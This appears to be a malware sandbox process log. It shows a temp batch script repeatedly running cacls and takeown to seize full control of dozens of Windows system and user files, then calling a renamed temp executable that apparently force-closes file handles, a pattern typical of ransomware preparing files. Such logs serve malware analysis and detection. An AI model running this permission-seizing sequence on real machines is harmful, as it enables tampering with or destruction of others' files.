C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "EaseOfAccessSettings2013.xml" -nobanner4⤵PID:5472
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5496
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin64.xml""2⤵PID:5520
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin64.xml" /E /G Admin:F /C3⤵PID:5568
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin64.xml"3⤵PID:5588
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOffice2013BackupWin64.xml" -nobanner3⤵PID:5608
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOffice2013BackupWin64.xml" -nobanner4⤵PID:5624
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5648
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin64.xml""2⤵PID:5672
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin64.xml" /E /G Admin:F /C3⤵PID:5720
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin64.xml"3⤵
- Modifies file permissions
PID:5740
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOutlook2013CAWin64.xml" -nobanner3⤵PID:5760
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOutlook2013CAWin64.xml" -nobanner4⤵PID:5776
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5800
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1""2⤵PID:5824
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1" /E /G Admin:F /C3⤵PID:5872
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1"3⤵
- Modifies file permissions
PID:5892
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "RegisterInboxTemplates.ps1" -nobanner3⤵PID:5912
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "RegisterInboxTemplates.ps1" -nobanner4⤵PID:5928
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5952
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml""2⤵PID:5976
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml" /E /G Admin:F /C3⤵PID:6024
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml"3⤵
- Modifies file permissions
PID:6044
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "behavior.xml" -nobanner3⤵PID:6064
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "behavior.xml" -nobanner4⤵PID:6080
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6104
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml""2⤵PID:6128
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml" /E /G Admin:F /C3⤵PID:5160
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml"3⤵
- Modifies file permissions
PID:5172
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "resource.xml" -nobanner3⤵PID:5208
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "resource.xml" -nobanner4⤵PID:4600
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:268
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Network\Downloader\edb.log""2⤵PID:776
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Network\Downloader\edb.log" /E /G Admin:F /C3⤵PID:5288
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Network\Downloader\edb.log"3⤵PID:5340
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "edb.log" -nobanner3⤵PID:5352
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "edb.log" -nobanner4⤵PID:5348
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5220
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edbtmp.log""2⤵PID:5384
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edbtmp.log" /E /G Admin:F /C3⤵PID:5476
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edbtmp.log"3⤵
- Modifies file permissions
PID:5504
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "edbtmp.log" -nobanner3⤵PID:5396
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "edbtmp.log" -nobanner4⤵PID:5392
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:3840
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftNotepad.xml""2⤵PID:5572
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftNotepad.xml" /E /G Admin:F /C3⤵PID:5620
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftNotepad.xml"3⤵PID:5664
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftNotepad.xml" -nobanner3⤵PID:5552
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftNotepad.xml" -nobanner4⤵PID:5540
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5732
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin64.xml""2⤵PID:5768
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin64.xml" /E /G Admin:F /C3⤵PID:5804
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin64.xml"3⤵PID:5696
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOffice2016BackupWin64.xml" -nobanner3⤵PID:5840
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOffice2016BackupWin64.xml" -nobanner4⤵PID:5876
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5936
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\NetworkPrinters.xml""2⤵PID:5916
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\NetworkPrinters.xml" /E /G Admin:F /C3⤵PID:5860
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\NetworkPrinters.xml"3⤵
- Modifies file permissions
PID:6032
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "NetworkPrinters.xml" -nobanner3⤵PID:6060
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "NetworkPrinters.xml" -nobanner4⤵PID:6088
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6068
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\AppV\Setup\OfficeIntegrator.ps1""2⤵PID:6004
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\AppV\Setup\OfficeIntegrator.ps1" /E /G Admin:F /C3⤵PID:5184
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\AppV\Setup\OfficeIntegrator.ps1"3⤵
- Modifies file permissions
PID:5164
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "OfficeIntegrator.ps1" -nobanner3⤵PID:5064
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "OfficeIntegrator.ps1" -nobanner4⤵PID:5196
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:508
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml""2⤵PID:5148
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml" /E /G Admin:F /C3⤵PID:5316
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml"3⤵
- Modifies file permissions
PID:5248
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "resource.xml" -nobanner3⤵PID:5376
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "resource.xml" -nobanner4⤵PID:5292
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5232
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edbres00001.jrs""2⤵PID:5468
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edbres00001.jrs" /E /G Admin:F /C3⤵PID:5372
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edbres00001.jrs"3⤵PID:5576
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "edbres00001.jrs" -nobanner3⤵PID:5440
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "edbres00001.jrs" -nobanner4⤵PID:5444
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5660
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win32.xml""2⤵PID:5544
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win32.xml" /E /G Admin:F /C3⤵PID:5724
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win32.xml"3⤵PID:5584
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftLync2013Win32.xml" -nobanner3⤵PID:5788
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftLync2013Win32.xml" -nobanner4⤵PID:5704
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5684
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win64.xml""2⤵PID:5900
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win64.xml" /E /G Admin:F /C3⤵PID:5784
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win64.xml"3⤵
- Modifies file permissions
PID:5964
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOffice2013Win64.xml" -nobanner3⤵PID:5844
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOffice2013Win64.xml" -nobanner4⤵PID:6040
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6092
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win64.xml""2⤵PID:6108
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win64.xml" /E /G Admin:F /C3⤵PID:6000
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win64.xml"3⤵PID:5188
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftSkypeForBusiness2016Win64.xml" -nobanner3⤵PID:4152
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftSkypeForBusiness2016Win64.xml" -nobanner4⤵PID:4020
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5144
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\Admin\AppData\Local\Microsoft\GameDVR\KnownGameList.bin""2⤵PID:6008
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\GameDVR\KnownGameList.bin" /E /G Admin:F /C3⤵PID:5364
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\GameDVR\KnownGameList.bin"3⤵
- Modifies file permissions
PID:5240
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "KnownGameList.bin" -nobanner3⤵PID:5280
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "KnownGameList.bin" -nobanner4⤵PID:5420
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5308
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\Settings\settings.dat""2⤵PID:2956
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\Settings\settings.dat" /E /G Admin:F /C3⤵PID:5596
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\Settings\settings.dat"3⤵PID:5464
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "settings.dat" -nobanner3⤵PID:5652
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "settings.dat" -nobanner4⤵PID:5408
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5500
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_extended.xml""2⤵PID:5628
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_extended.xml" /E /G Admin:F /C3⤵PID:5792
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_extended.xml"3⤵PID:5888
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "AssemblyList_4_extended.xml" -nobanner3⤵PID:5680
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "AssemblyList_4_extended.xml" -nobanner4⤵PID:5736
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5796
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml""2⤵PID:6100
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml" /E /G Admin:F /C3⤵PID:5820
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml"3⤵PID:5932
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "resource.xml" -nobanner3⤵PID:5864
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "resource.xml" -nobanner4⤵PID:5176
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2968
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\telemetry.ASM-WindowsDefault.json""2⤵PID:3680
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\telemetry.ASM-WindowsDefault.json" /E /G Admin:F /C3⤵PID:5956
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\telemetry.ASM-WindowsDefault.json"3⤵PID:5252
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "telemetry.ASM-WindowsDefault.json" -nobanner3⤵PID:5272
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "telemetry.ASM-WindowsDefault.json" -nobanner4⤵PID:5492
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5300
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml""2⤵PID:5260
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml" /E /G Admin:F /C3⤵PID:5656
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml"3⤵
- Modifies file permissions
PID:5424
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "behavior.xml" -nobanner3⤵PID:5400
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "behavior.xml" -nobanner4⤵PID:5612
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5484
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.SIUF.xml""2⤵PID:1640
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.SIUF.xml" /E /G Admin:F /C3⤵PID:5748
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.SIUF.xml"3⤵PID:5780
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "WINDOWS.SIUF.xml" -nobanner3⤵PID:5968
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "WINDOWS.SIUF.xml" -nobanner4⤵PID:5716
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5832
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Diagnosis\osver.txt""2⤵PID:5884
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Diagnosis\osver.txt" /E /G Admin:F /C3⤵PID:5204
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Diagnosis\osver.txt"3⤵
- Modifies file permissions
PID:5024
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "osver.txt" -nobanner3⤵PID:6048
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "osver.txt" -nobanner4⤵PID:6112
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6136
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb.chk""2⤵PID:5236
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb.chk" /E /G Admin:F /C3⤵PID:5324
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb.chk"3⤵
- Modifies file permissions
PID:6120
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "edb.chk" -nobanner3⤵PID:5128
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "edb.chk" -nobanner4⤵PID:5560
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5388
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013.xml""2⤵PID:5728
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013.xml" /E /G Admin:F /C3⤵PID:6140
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013.xml"3⤵PID:5528
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftInternetExplorer2013.xml" -nobanner3⤵PID:5756
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftInternetExplorer2013.xml" -nobanner4⤵PID:5556
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5644
-
-
-
